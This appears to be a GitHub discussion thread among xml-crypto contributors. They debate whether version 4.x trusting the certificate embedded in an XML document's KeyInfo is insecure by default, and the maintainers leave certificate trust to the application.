4.x provided support for retrieving X509 certificate information through #301 to address missing functionality in the package as flagged in node-saml/node-saml#36.

thus making themselves immune to possibly poisonous KeyInfos

I'm not convinced that there is even such a thing. KeyInfo entries are limited only to prove that the signature is signed by that certificate. My read of the rules is that it is not meant to prove that the signer is trustworthy. I quote @cjbarth's earlier [comment and citation](#399 (reply in thread), re-emphasis mine):

However, questions of trust of such key information (e.g., its authenticity or strength) are out of scope of this specification and left to the application.

It therefore seems that what is really needed is a method to reveal if the provided signature and the KeyInfo signature don't match.

Whether the signer should be trusted is left to the application, and given where we are now, and the bandwidth we have, we cannot prioritise your proposed change to the default behaviour. We may choose to do so in a later release, to which you are welcome to contribute a PR to propose the change in default behaviour.

[srd90]

Whether the signer should be trusted is left to the application, and given where we are now, and the bandwidth we have, we cannot prioritise your proposed change to the default behaviour. We may choose to do so in a later release, to which you are welcome to contribute a PR to propose the change in default behaviour.

I was NOT suggesting that xml-crypto project would step into the world of pain of implementing logic to validate trustworthiness of keys provided in input's (XML document which siganture it is about validate) KeyInfo. I was suggesting the opposite. 3.x used by default simplest possible form of trust relationship. I.e. that codebase required preshared certificate/public key (referring to "side channel" stuff at previous response) for signature validation purposes. 3.x made zero attempt to use input XML's KeyInfo material. 3.x had nice strategy pattern which could be used by anyone to implement in house strategy for using input XML's KeyInfo material for XML signature validation purposes.

@cjbarth implicated (or thats the way I undestood this):

It therefore seems that what is really needed is a method to reveal if the provided signature and the KeyInfo signature don't match.

that he is going to fix 4.x's current flaw (which is in-secure by default and in secure so that key from untrusted source is used by default for signature validation) approach by introducing some validation for input XML's KeyInfo material. My previous post was partly triggered by aforementioned comment.

What comes to node-saml's node-saml/node-saml#36 . It is all about adding KeyInfo material to produced signed XML (this thread is about the other direction...validation of XML signatures). I fail to see why there was need to open a worm box of using input XML's KeyInfo for XML signature validation (again: because xml-crypto already provided ways to use pre-shared public certificate/public key and there was other ways to use KeyInfo material by introducing one's own strategy without bothering maintainers of xml-crypto nor increasing maintenance cost of xml-crypto codebase with such implementations).

[LoneRifle]

I was suggesting the opposite

I understood this, and stand by the decision made: we will not make the change at this time.

[shunkica]

I may be late to this party but I don't see where the issue is.
The KeyInfo provides the certificate which signed the document.
It is up to the user to decide if they trust this certificate, or to establish a chain of trust from a trusted certificate authority.

[cjbarth]

@shunkica , that is exactly what the specification says. Certificate validation is beyond the scope of this project. There are already methods in this project to get at the certificate that was found and against which the signature was validated against, so that can simple be passed to some other tool to validate the certificate chain or compare with a known-good certificate.